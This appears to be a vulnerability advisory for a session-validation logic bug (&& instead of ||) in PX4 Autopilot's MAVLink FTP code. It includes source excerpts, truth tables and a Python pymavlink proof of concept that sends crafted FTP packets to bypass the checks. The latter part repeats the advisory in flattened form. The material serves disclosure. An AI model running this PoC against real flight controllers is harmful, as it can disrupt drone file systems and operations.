Summary
A logic error in the PX4 Autopilot MAVLink FTP session validation uses incorrect boolean logic (&& instead of ||), allowing BurstReadFile and WriteFile operations to proceed with invalid sessions or closed file descriptors. This enables an unauthenticated attacker to put the FTP subsystem into an inconsistent state, trigger operations on invalid file descriptors, and bypass session isolation checks. CVSS 6.5 Medium.
Details
The vulnerability is a straightforward logic error in src/modules/mavlink/mavlink_ftp.cpp where two functions use && (logical AND) instead of || (logical OR) for session validation, diverging from the correct implementation used in a third function.
1. Correct implementation in _workRead (mavlink_ftp.cpp:559)
The _workRead function correctly rejects requests when either the session ID is wrong or the file descriptor is invalid:
// mavlink_ftp.cpp:559 -- CORRECT: uses || (logical OR)
MavlinkFTP::ErrorCode
MavlinkFTP::_workRead(PayloadHeader *payload)
{
if (payload->session != 0 || _session_info.fd < 0) {
return kErrInvalidSession;
}
// ... proceeds with read
}
Truth table for ||:
session != 0 |
fd < 0 |
Result |
Correct? |
| false |
false |
PASS (valid session, valid fd) |
Yes |
| false |
true |
REJECT (valid session, no fd) |
Yes |
| true |
false |
REJECT (wrong session, valid fd) |
Yes |
| true |
true |
REJECT (wrong session, no fd) |
Yes |
2. Buggy implementation in _workBurst (mavlink_ftp.cpp:597)
// mavlink_ftp.cpp:597 -- BUG: uses && (logical AND)
MavlinkFTP::ErrorCode
MavlinkFTP::_workBurst(PayloadHeader *payload, uint8_t target_system_id, uint8_t target_component_id)
{
if (payload->session != 0 && _session_info.fd < 0) {
return kErrInvalidSession;
}
// Setup for streaming sends
_session_info.stream_download = true;
_session_info.stream_offset = payload->offset;
// ...
}
3. Buggy implementation in _workWrite (mavlink_ftp.cpp:618)
// mavlink_ftp.cpp:618 -- BUG: uses && (logical AND)
MavlinkFTP::ErrorCode
MavlinkFTP::_workWrite(PayloadHeader *payload)
{
if (payload->session != 0 && _session_info.fd < 0) {
return kErrInvalidSession;
}
// ...
if (lseek(_session_info.fd, payload->offset, SEEK_SET) < 0) {
// ...
}
int bytes_written = ::write(_session_info.fd, &payload->data[0], payload->size);
// ...
}
Truth table for &&:
session != 0 |
fd < 0 |
Result |
Correct? |
| false |
false |
PASS (valid session, valid fd) |
Yes |
| false |
true |
PASS (valid session, no fd) |
NO -- should reject |
| true |
false |
PASS (wrong session, valid fd) |
NO -- should reject |
| true |
true |
REJECT (wrong session, no fd) |
Yes |
Exploitable scenarios:
Scenario A: Operations on closed file descriptor (session=0, fd=-1)
- Default state:
session=0, _session_info.fd=-1 (no file open)
- Attacker sends
kCmdBurstReadFile with session=0
- Check:
0 != 0 && -1 < 0 → false && true → false → check bypassed
- Code sets
_session_info.stream_download = true with fd=-1
send() later attempts lseek and read on fd=-1
- FTP enters an inconsistent streaming state
Scenario B: Session ID isolation bypass (session!=0, fd>=0)
- A file has been opened (fd is valid, assigned to session 0)
- Attacker sends
kCmdBurstReadFile or kCmdWriteFile with session=5
- Check:
5 != 0 && fd >= 0 → true && false → false → check bypassed
- Operation proceeds on the file from session 0 despite wrong session ID
- Session IDs provide no isolation
PoC
Prerequisites:
- MAVLink communication channel to a PX4 flight controller
- Python with
pymavlink
Reproducing Scenario A (burst read on invalid fd):
from pymavlink import mavutil
import struct, time
mav = mavutil.mavlink_connection('udp:127.0.0.1:14540')
mav.wait_heartbeat()
TARGET_SYS = mav.target_system
TARGET_COMP = mav.target_component
def make_ftp_payload(seq, session, opcode, size, offset, data=b''):
"""Build FTP PayloadHeader + data."""
header = struct.pack('<HBBBBBxI', seq, session, opcode, size, 0, 0, offset)
return header + data
# Do NOT open any file first -- fd should be -1
# Send kCmdBurstReadFile (opcode=15) with session=0
# With the bug, this bypasses the session check because:
# session(0) != 0 --> false
# fd(-1) < 0 --> true
# false && true --> false --> check skipped!
payload = make_ftp_payload(seq=1, session=0, opcode=15, size=0, offset=0)
ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload
mav.mav.file_transfer_protocol_send(0, TARGET_SYS, TARGET_COMP, ftp_msg)
time.sleep(1)
# The FTP subsystem is now in stream_download mode with fd=-1
# Subsequent send() calls will attempt lseek/read on fd=-1 and generate errors
# This can be confirmed by monitoring PX4 debug output for "seek fail" or EBADF errors
# Receive response
msg = mav.recv_match(type='FILE_TRANSFER_PROTOCOL', blocking=True, timeout=5)
if msg:
resp = bytes(msg.payload)
opcode = resp[3]
if opcode == 128: # kRspAck
print("[!] BUG CONFIRMED: Burst accepted without open file (fd=-1)")
elif opcode == 129: # kRspNak
error = resp[12]
print(f"[*] NAK received, error code: {error}")
# If error 4 (kErrInvalidSession), the bug is NOT present (patched)
# If error 2 (kErrFailErrno), the bug IS present (EBADF from lseek on fd=-1)
Reproducing Scenario B (session ID bypass):
# Step 1: Open a file normally (session=0)
path = b'/fs/microsd/log\x00' # or any valid path
payload = make_ftp_payload(seq=0, session=0, opcode=4, size=len(path), offset=0, data=path)
ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload
mav.mav.file_transfer_protocol_send(0, TARGET_SYS, TARGET_COMP, ftp_msg)
time.sleep(0.5)
# Step 2: Send burst read with WRONG session ID (session=5)
# With the bug: session(5) != 0 --> true, fd(N) < 0 --> false
# true && false --> false --> check bypassed!
# Operation proceeds on session 0's file despite requesting session 5
payload = make_ftp_payload(seq=1, session=5, opcode=15, size=0, offset=0)
ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload
mav.mav.file_transfer_protocol_send(0, TARGET_SYS, TARGET_COMP, ftp_msg)
time.sleep(1)
msg = mav.recv_match(type='FILE_TRANSFER_PROTOCOL', blocking=True, timeout=5)
if msg:
resp = bytes(msg.payload)
opcode = resp[3]
if opcode == 128: # kRspAck
print("[!] BUG CONFIRMED: Wrong session ID accepted, reading from session 0's file")
Impact
This is a logic error vulnerability that breaks the session validation in the MAVLink FTP protocol implementation.
Who is impacted:
- All PX4 deployments using MAVLink FTP (file transfer, parameter upload, log download)
- Ground control stations that rely on session semantics for concurrent FTP operations
What an attacker can do:
- Trigger FTP operations on invalid file descriptors, causing the subsystem to enter inconsistent state
- Bypass session ID isolation, accessing files opened in other sessions
- Put the FTP subsystem into stream download mode with no valid file, potentially blocking other FTP operations
- Trigger error code paths (EBADF from lseek/read/write on fd=-1) that may have unintended side effects
Limitations:
- Operations on fd=-1 will fail at the syscall level (EBADF), limiting data exfiltration
- PX4 currently only supports one session (session 0), so session isolation bypass has limited practical impact
- The primary risk is denial of service to the FTP subsystem and triggering of unexpected error paths
Summary
A logic error in the PX4 Autopilot MAVLink FTP session validation uses incorrect boolean logic (
&&instead of||), allowingBurstReadFileandWriteFileoperations to proceed with invalid sessions or closed file descriptors. This enables an unauthenticated attacker to put the FTP subsystem into an inconsistent state, trigger operations on invalid file descriptors, and bypass session isolation checks. CVSS 6.5 Medium.Details
The vulnerability is a straightforward logic error in
src/modules/mavlink/mavlink_ftp.cppwhere two functions use&&(logical AND) instead of||(logical OR) for session validation, diverging from the correct implementation used in a third function.1. Correct implementation in
_workRead(mavlink_ftp.cpp:559)The
_workReadfunction correctly rejects requests when either the session ID is wrong or the file descriptor is invalid:Truth table for
||:session != 0fd < 02. Buggy implementation in
_workBurst(mavlink_ftp.cpp:597)3. Buggy implementation in
_workWrite(mavlink_ftp.cpp:618)Truth table for
&&:session != 0fd < 0Exploitable scenarios:
Scenario A: Operations on closed file descriptor (session=0, fd=-1)
session=0,_session_info.fd=-1(no file open)kCmdBurstReadFilewithsession=00 != 0 && -1 < 0→false && true→false→ check bypassed_session_info.stream_download = truewith fd=-1send()later attemptslseekandreadon fd=-1Scenario B: Session ID isolation bypass (session!=0, fd>=0)
kCmdBurstReadFileorkCmdWriteFilewithsession=55 != 0 && fd >= 0→true && false→false→ check bypassedPoC
Prerequisites:
pymavlinkReproducing Scenario A (burst read on invalid fd):
Reproducing Scenario B (session ID bypass):
Impact
This is a logic error vulnerability that breaks the session validation in the MAVLink FTP protocol implementation.
Who is impacted:
What an attacker can do:
Limitations: